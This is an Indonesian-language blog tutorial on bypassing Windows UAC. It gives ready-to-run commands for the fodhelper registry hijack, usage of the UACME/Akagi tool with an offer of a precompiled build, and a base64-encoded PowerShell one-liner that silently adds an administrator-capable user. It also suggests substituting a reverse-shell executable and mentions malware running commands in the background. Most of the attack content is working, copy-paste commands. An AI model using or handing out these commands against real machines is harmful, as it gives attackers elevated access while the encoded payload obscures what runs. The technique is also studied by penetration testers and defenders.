Windows Privilege Escalation: UAC Bypass

Windows Privilege Escalation: UAC Bypass. Oke di artikel kali ini saya akan membahas mengenai salahsatu teknik privilege escalation dengan melakukan bypass UAC. Penjelasan sederhana dari UAC (User Account Control) sendiri adalah fitur Windows untuk melakukan enforce access control.

Kalau di Linux, mungkin mirip fitur sudo yang memungkinkan user biasa untuk menjalankan perintah denga  hak akses root jika user tersebut tergabung di grup sudo/wheel. Nah di Windows sendiri jika user kita tergabung ke grup Local Administrator, kita dapat menjalankan command dengan hak akses Administrator. Namun, disitulah UAC menjalankan tugasnya. Mungkin lebih jelasnya lihat gambar berikut.

Ketika kalian menjalankan aplikasi dengan cara klik kanan lalu "Run as Administrator", biasanya akan muncul halaman konfirmasi seperti gambar diatas. Sebenarnya tidak ada masalah jika aktifitas ini dilakukan oleh user biasa yang memiliki akses ke desktop. Namun bagaimana jika sebuah malware atau virus ingin menjalankan perintah yang membutuhkan hak akses administrator dari background. Atau katakanlah kalian sedang melakukan pentest ke Windows server, dan mendapatkan reverse shell tanpa akses ke remote desktop? Cara agar kita dapat menjalankan perintah dengan hak akses Administrator adalah dengan melakukan bypass UAC.

Syarat dari UAC bypass sendiri adalah user kita tergabung di grup dengan hak akses Administrator. Bisa cek dengan perintah:

whoami /groups

Terlihat bahwa user kita tergabung di grup BUILTIN\Administrators. Namun tentu saja ketika kita ingin menjalankan perintah yang membutuhkan hak akses adminstrator kita tidak dapat melakukannya dari shell saat ini. Sebagai contoh, ketika kita ingin melakukan create user, kita akan mendapati error access denied.

UAC Bypass: Foodhelper

Sebenarnya ada banyak cara atau teknik untuk melakukan bypass UAC. Namun yang paling populer adalah dengan Fodhelper (Features on Demand Helper). Fitur untuk me-manage Windows Feature settings.

Berikut adalah contoh ketika kita ingin melakukan bypass UAC untuk menambahkan user baru.

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

set CMD="net user asuka 'asuka@1234' /add"

reg add %REG_KEY% /v "DelegateExecute" /d "" /f

reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

Jika perintah sudah sukses dieksekusi, kalian juga bisa menghapus value registry diatas.

reg delete HKCU\Software\Classes\ms-settings\ /f

Atau, jika ingin menjalankan reverse shell, tinggal ubah saja perintah CMD nya dengan perintah untuk reverse shell. Untuk shellnya sendiri kalian bisa pakai msfvenom atau shell reverse lainnya. Contoh:

set CMD="E:\Exploits\shell.exe"


UAC Bypass: UACME

Atau, cara kedua adalah menggunakan tool bernama UACME.

Tool ini memiliki ability untuk melakukan bypass UAC dengan berbagai teknik yang pernah dilakukan oleh thread actor, atau memanfaatkan kerentanan yang sudah dipublikasikan mengenai bypass UAC.

Untuk menggunakan UACME, kalian harus melakukan compile menggunakan Visual Studio. Nah, saya sudah melakukan compile tool tersebut jika kalian enggan untuk compile atau enggan untuk menginstall Visual Studio. Bisa cek disini:

Cara menjalankan Akagi sendiri cukup mudah: akagi32 [Key] [Param] atau akagi64 [Key] [Param]. Key sendiri merupakan teknik yang akan digunakan, dan untuk listnya bisa kalian cek di file README repository UACME.

Contoh command:

Akagi64.exe 61 "net user asuka 'asuka@1234' /add"

Atau untuk mendapatkan reverse shell caranya sama saja seperti cara manual sebelumnya.

Akagi64.exe 61 "E:\Exploits\shell.exe"


Bonus

Command ini akan melakukan bypass UAC menggunakan Foodhelper, dan menambahkan user baru dengan nama john dan password UacPass1234

powershell -Enc TgBlAHcALQBJAHQAZQBtACAAIgBIAEsAQwBVADoAXABzAG8AZgB0AHcAYQByAGUAXABjAGwAYQBzAHMAZQBzAFwAbQBzAC0AcwBlAHQAdABpAG4AZwBzAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAIgAgAC0ARgBvAHIAYwBlADsAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABzAG8AZgB0AHcAYQByAGUAXABjAGwAYQBzAHMAZQBzAFwAbQBzAC0AcwBlAHQAdABpAG4AZwBzAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAIgAgAC0ATgBhAG0AZQAgACIARABlAGwAZQBnAGEAdABlAEUAeABlAGMAdQB0AGUAIgAgAC0AVgBhAGwAdQBlACAAIgAiACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAHMAbwBmAHQAdwBhAHIAZQBcAGMAbABhAHMAcwBlAHMAXABtAHMALQBzAGUAdAB0AGkAbgBnAHMAXABzAGgAZQBsAGwAXABvAHAAZQBuAFwAYwBvAG0AbQBhAG4AZAAiACAALQBOAGEAbQBlACAAIgAoAGQAZQBmAGEAdQBsAHQAKQAiACAALQBWAGEAbAB1AGUAIAAiAG4AZQB0ACAAdQBzAGUAcgAgAGoAbwBoAG4AIABVAGEAYwBQAGEAcwBzADEAMgAzADQAIAAvAGEAZABkACIAIAAtAEYAbwByAGMAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUAIgA=

Atau

powershell 
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force; New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force; Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "net user john UacPass1234 /add" -Force; Start-Process "C:\Windows\System32\fodhelper.exe"

Oke mungkin sekian dulu sharing kali ini, semoga bermanfaat. Jika ada yang ingin ditanyakan atau ditambahkan silahkan tinggalkan komentar ya.

Posting Komentar untuk "Windows Privilege Escalation: UAC Bypass"